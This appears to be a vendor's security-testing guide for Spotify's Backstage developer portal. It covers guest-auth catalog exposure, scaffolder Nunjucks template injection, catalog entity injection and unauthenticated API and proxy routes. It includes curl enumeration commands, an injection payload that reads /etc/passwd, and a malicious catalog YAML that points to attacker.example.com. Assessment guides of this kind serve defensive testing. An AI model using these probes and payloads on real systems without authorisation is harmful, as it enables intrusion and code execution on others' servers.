Backstage is Spotify's open-source internal developer portal now widely adopted as a platform for service catalogs, scaffolding, and developer tooling. Its security surface is large: the scaffolder plugin renders Nunjucks templates from catalog entries — if template parameters are user-controlled, this enables server-side template injection leading to RCE on the Backstage backend; Backstage's backend API on port 7007 has historically had authentication gaps where internal API routes were accessible without the frontend user token; the catalog ingests entity YAML from any registered URL — if attacker-controlled URLs can be registered, malicious catalog entities can be injected; Backstage's proxy plugin forwards HTTP requests to backend services often without re-enforcing authentication; and many production Backstage deployments use the guest authentication provider that allows anonymous access, exposing the full service catalog. This guide covers systematic Backstage security assessment.
# Backstage default port: 7007 (backend API + frontend served)
# Also: 3000 (frontend dev server), 7000 (older versions)
# Check Backstage backend health
curl -s http://backstage.example.com:7007/healthcheck 2>/dev/null | python3 -m json.tool | head -5
# Enumerate Backstage version from frontend JavaScript bundle
curl -s http://backstage.example.com:7007/ 2>/dev/null | \
grep -oE '"@backstage/[a-z-]+":"[0-9.]+"' | head -10
# Check catalog API (may not require auth on guest-mode deployments)
curl -s "http://backstage.example.com:7007/api/catalog/entities?limit=20" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
entities = data if isinstance(data, list) else data.get('items', [])
print(f'Catalog entities: {len(entities)}')
for e in entities[:5]:
print(f\" {e.get('kind','?')}: {e.get('metadata',{}).get('name','?')} — {e.get('metadata',{}).get('description','')[:60]}\")
" 2>/dev/null
# Backstage scaffolder uses Nunjucks templates
# If user-controlled parameters are inserted into template expressions without sanitization,
# server-side template injection is possible
# Test for SSTI in scaffolder template parameters
# Probe: submit a template parameter with Nunjucks expression syntax
# In a scaffolder template form, submit: {{ 7*7 }} as a parameter value
# If the output contains "49", SSTI is confirmed
# Via the scaffolder API (requires auth token)
curl -s -X POST "http://backstage.example.com:7007/api/scaffolder/v2/tasks" \
-H "Authorization: Bearer ${BACKSTAGE_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"templateRef": "template:default/test-template",
"values": {
"name": "{{ (''cat /etc/passwd'').toString() }}",
"owner": "user:default/test"
}
}' 2>/dev/null | python3 -m json.tool | head -5
# Test for prototype pollution in catalog entity YAML
# Register a catalog entity with malicious YAML annotations
cat > /tmp/catalog-injection.yaml << 'EOF'
apiVersion: backstage.io/v1alpha1
kind: Component
metadata:
name: injected-component
namespace: default
annotations:
backstage.io/managed-by-location: "url:http://attacker.example.com/malicious.yaml"
spec:
type: service
lifecycle: production
owner: user:default/injected
EOF
| Security Test | Method | Risk |
|---|---|---|
| Guest auth mode exposes full catalog | Access without login — lists all services, owners, infrastructure links | High |
| Scaffolder SSTI via template parameter injection | Submit {{ 7*7 }} as parameter — if output is 49, RCE is possible | Critical |
| Catalog entity injection via attacker-controlled URL | Register catalog location from attacker.example.com — injects malicious entity | High |
| Backend API routes accessible without token | curl /api/catalog/entities without Bearer token — returns entity list | High |
| Proxy plugin forwards to internal services without auth | POST /api/proxy/ | High |
| Scaffolder task logs reveal secrets | GET /api/scaffolder/v2/tasks/ | Medium |
Ironimo tests Backstage developer portal deployments for guest authentication mode exposing the full service catalog, scaffolder Nunjucks template injection enabling backend RCE, catalog entity injection via attacker-controlled YAML URLs, backend API routes accessible without authentication tokens, proxy plugin forwarding to internal services without re-authentication, and scaffolder task log disclosure of secrets and credentials.
Start free scan